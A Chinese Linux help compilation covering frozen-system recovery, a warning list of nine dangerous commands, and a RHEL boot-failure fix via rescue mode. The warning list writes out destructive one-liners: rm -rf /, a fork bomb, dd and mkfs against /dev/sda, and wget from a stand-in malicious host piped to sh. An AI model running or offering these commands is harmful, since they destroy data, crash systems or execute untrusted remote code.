① 假如linux卡住了怎麼解決
Linux系統卡死了解決辦法:
一.
1、按 Ctrl-Alt-F1(F1-F6 一般來說都可以),然後等一會兒,就會切換到 tty,也就是所謂的文字界面。
2、這個時候需要用用戶名密碼登入。注意,可能鍵盤輸入的速度比較慢,不過應該還是可以忍受的。
3、下面在提示符後面輸入 top 回車,這時會看到一張動態的表,上面列出了耗用資源最多的進程。
4、觀察它刷新一兩次,按q退出,然後輸入 kill ,其中的 PID 你可以在 top 裡面看到。這個時候應該會快了不少,如果你發現沒有成功結束掉,就再輸入 kill -KILL ,這次基本上就沒問題了。
二.
1、大家在鍵盤上找,可以找到一個叫做「Sys Rq」的鍵,在台機的鍵盤上通常與 Prt Sc 共鍵,在筆記本可能在其他位置,如 Delete。
2、以台機為例,要使用這種方法需要按住 Alt-Print(Sys Rq),然後依次按下 reisub 這幾個鍵,按完 b 系統就會重啟。更多Linux知識可參考《Linux就該這么學》。
② LINUX系統有哪些危險命令
這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。
③ Linux啟動故障處理
【摘要】
當Linux系統出現故障無法正常啟動系統時,Linux准備了單用戶模式、救援模式等方式可以讓我們有效的處理這類問題。本文簡單分享一個利用救援模式解決Redhat系統無法啟動的案例。
【正文】
一、 問題背景
1) 問題描述
一台部署了RHEL 7.2的物理伺服器,突發死機故障,在嘗試重啟時,發現伺服器無法正常進入操作系統,直接進入emergency mode。本文主要分享操作系統啟動異常的問題排查過程。(伺服器死機據後續日誌分析,確定為內核的bug所致,本文不進行累述)
2) 故障現象
系統啟動後,提示無法找到/dev/mapper/rhel-root,並直接進入emergency mode。
二、 排查思路
1) 收集系統啟動異常的相關提示信息,獲取到問題關鍵點:
Warning:/dev/rhel/root does not exist
初步定為配置文件問題或者邏輯卷root本身問題;
2) 嘗試在應急模式下檢查邏輯卷狀態,發現當前情況並不穩定,常用命令無法使用、顯示多為亂碼;
3) 嘗試進入單用戶模式,發現情況和應急模式一樣;
Redhat 7.2進入單用戶模式:
1、開機啟動至內核選擇界面,選擇第一項,按e進行編輯
2、定位到linux16這一行,找到ro,修改其為rw init=/sysroot/bin/sh
3、按ctrl+X啟動至單用戶模式
4) 利用系統安裝光碟,進入Linux救援模式,進行排查。
Redhat 7.2救援模式啟動方法:
1、把光碟加入光碟機,然後啟動,以光碟進行引導,選擇救援模式(中間具體的步驟不再細說)
2、文件系統掛載到/mnt/sysimage目錄下,這時切換到此目錄下使用chroot /mnt/sysimage這條命令即可
5) 在救援模式下,首先查看伺服器lv的情況,發現所有lv
status均為未激活狀態。
查看lv
#Lvdisplay
修改lv
#vgchange -a y /dev/docker/root
6) 在嘗試修改root的lv status時,發現root所在的vg名和啟動時所指定的vg名不一致,基本確定問題點;
7) 修復
l 編輯文件/etc/default/grub
l 修改此文件中GRUB_CMDLINE_LINUX一行中rd.lvm.lv為合適的值
l 再執行以下命令重做grub :
n UEFI: grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg
n 非UEFI:grub2-mkconfig -o /boot/grub2/grub.cfg
l 查看文件grub.cfg中是否修改為rd.lvm.lv=rhel/root
l 修改/etc/grub2.cfg中root=後接的lv路徑改為實際的路徑。
8) 系統啟動後,通過history日誌,確定為該系統業務部署時,使用了vgrename命令修改了vg名。
三、 總結
對於Linux的問題處理,需要對Linux的運行原理有所理解,這此前提下才能根據有限的提示信息判斷問題方向、確定排查范圍、找到解決方法。同時,提醒各位初學linux的同事么,在進行linux的一些操作時,需要充分考慮這些操作可能造成的影響,避免類似上述的問題發生。
轉自 嘉為教育-rhce認證_rhce培訓_linux培訓_linux認證_linux考證